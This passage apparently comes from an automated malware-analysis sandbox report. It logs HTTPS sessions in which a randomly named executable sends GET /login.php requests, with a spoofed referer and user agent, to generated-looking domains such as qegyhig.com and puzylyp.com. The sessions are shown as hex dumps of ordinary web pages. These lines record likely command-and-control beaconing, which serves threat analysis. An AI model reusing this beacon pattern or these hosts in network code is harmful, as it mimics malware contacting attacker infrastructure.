                                                                                                                                                                                                          Data Ascii: 0%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:first-of-typ
                                                                                                                                                                                                          2024-11-11 17:13:35 UTC1369INData Raw: 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74
                                                                                                                                                                                                          Data Ascii: ml-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;posit
                                                                                                                                                                                                          2024-11-11 17:13:35 UTC1369INData Raw: 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b
                                                                                                                                                                                                          Data Ascii: :none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolute;top:0;
                                                                                                                                                                                                          2024-11-11 17:13:35 UTC1369INData Raw: 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d
                                                                                                                                                                                                          Data Ascii: ot(.i-amphtml-layout-container)>*,[layout]:not([layout=container]):not(.i-amphtml-element)>*,[width][height][heights]:not([layout]):not(.i-amphtml-element)>*,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.i-amphtm
                                                                                                                                                                                                          2024-11-11 17:13:35 UTC1369INData Raw: 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 65 64 21 69 6d 70 6f
                                                                                                                                                                                                          Data Ascii: :0!important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{background:red!impo
                                                                                                                                                                                                          2024-11-11 17:13:35 UTC1369INData Raw: 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 61 6d 70 2d 73 74 6f 72 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 3e 61 6d 70 2d 61 6e 61 6c 79 74 69 63 73 7b 70 6f 73 69 74 69 6f 6e 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 5b 76 69 73 69 62 6c 65 2d 77 68 65 6e 2d 69 6e 76 61 6c 69 64 5d 3a 6e 6f 74 28 2e 76 69 73 69 62 6c 65 29 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 65 72 72 6f 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 61 63 63 6f 72 64 69 6f 6e 7b
                                                                                                                                                                                                          Data Ascii: dden!important;visibility:hidden}amp-story{visibility:hidden!important}html.i-amphtml-fie>amp-analytics{position:initial!important}[visible-when-invalid]:not(.visible),form [submit-error],form [submit-success],form [submitting]{display:none}amp-accordion{


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          10192.168.2.663493188.114.97.34431656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:40 UTC956INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:40 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5CbZyqIewK0BXTil6DYd6vHzigsUrto13tlOGyHMuE1a7PUCQuWg1%2BaQiVM6aUUzL%2B%2BwNl9Ro6gU4Hd6Ma1439se%2BidLwh%2B%2BA3SCQlUdVwaNLi9N%2FRFOzAQc7pCIhg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fea03ce1318d0-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1281&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=2229407&cwnd=247&unsent_bytes=0&cid=d725e913d631f272&ts=1633&x=0"
                                                                                                                                                                                                          2024-11-11 17:13:40 UTC413INData Raw: 37 63 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                          Data Ascii: 7ca2<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                          2024-11-11 17:13:40 UTC1369INData Raw: 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65
                                                                                                                                                                                                          Data Ascii: }</style><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><me
                                                                                                                                                                                                          2024-11-11 17:13:40 UTC1369INData Raw: 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e
                                                                                                                                                                                                          Data Ascii: ;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.
                                                                                                                                                                                                          2024-11-11 17:13:40 UTC1369INData Raw: 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d
                                                                                                                                                                                                          Data Ascii: defined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=
                                                                                                                                                                                                          2024-11-11 17:13:40 UTC1369INData Raw: 7c 7b 7d 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e
                                                                                                                                                                                                          Data Ascii: |{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/min
                                                                                                                                                                                                          2024-11-11 17:13:40 UTC1369INData Raw: 72 20 2e 73 69 74 65 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d
                                                                                                                                                                                                          Data Ascii: r .site-description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem
                                                                                                                                                                                                          2024-11-11 17:13:40 UTC1369INData Raw: 6e 67 65 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e
                                                                                                                                                                                                          Data Ascii: nge]::-webkit-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .n
                                                                                                                                                                                                          2024-11-11 17:13:40 UTC1369INData Raw: 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e
                                                                                                                                                                                                          Data Ascii: y-content .uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .
                                                                                                                                                                                                          2024-11-11 17:13:40 UTC1369INData Raw: 2d 76 69 73 69 62 6c 65 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75
                                                                                                                                                                                                          Data Ascii: -visible,.woocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,inpu
                                                                                                                                                                                                          2024-11-11 17:13:40 UTC1369INData Raw: 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 45 64 69 74 41 63 63 6f 75 6e 74 46 6f 72 6d 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 66 6f 72 6d 2d 72 6f 77 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 49 6e 70 75 74 2e 69 6e 70 75 74 2d 74 65 78 74 3a 66 6f 63 75 73 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 61 73 74 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 69 6e 61 74 69 6f 6e 20 75 6c 2e 70 61 67 65 2d 6e 75 6d 62 65 72 73 20 6c 69 20 61 3a 66 6f 63 75 73 2c 62 6f 64 79 20 23 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 72 6f 77 20 2e 73 65 6c 65 63 74 32 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 64 65 66 61 75 6c 74
                                                                                                                                                                                                          Data Ascii: content .woocommerce-EditAccountForm .woocommerce-form-row .woocommerce-Input.input-text:focus,.woocommerce .ast-woocommerce-container .woocommerce-pagination ul.page-numbers li a:focus,body #content .woocommerce form .form-row .select2-container--default


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          11192.168.2.66349075.2.71.1994431656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC353INHTTP/1.1 200 OK
                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000
                                                                                                                                                                                                          Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:39 GMT
                                                                                                                                                                                                          Etag: "184vi1aymat19wv"
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Server: awselb/2.0
                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                          X-Powered-By: Next.js
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC2372INData Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 70 75 62 6c 69 63 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31
                                                                                                                                                                                                          Data Ascii: 8000<!DOCTYPE html><html lang="en-US"><head><meta charSet="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="https://d15wejze7d2tlj.cloudfront.net/v1/public/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="https://d1
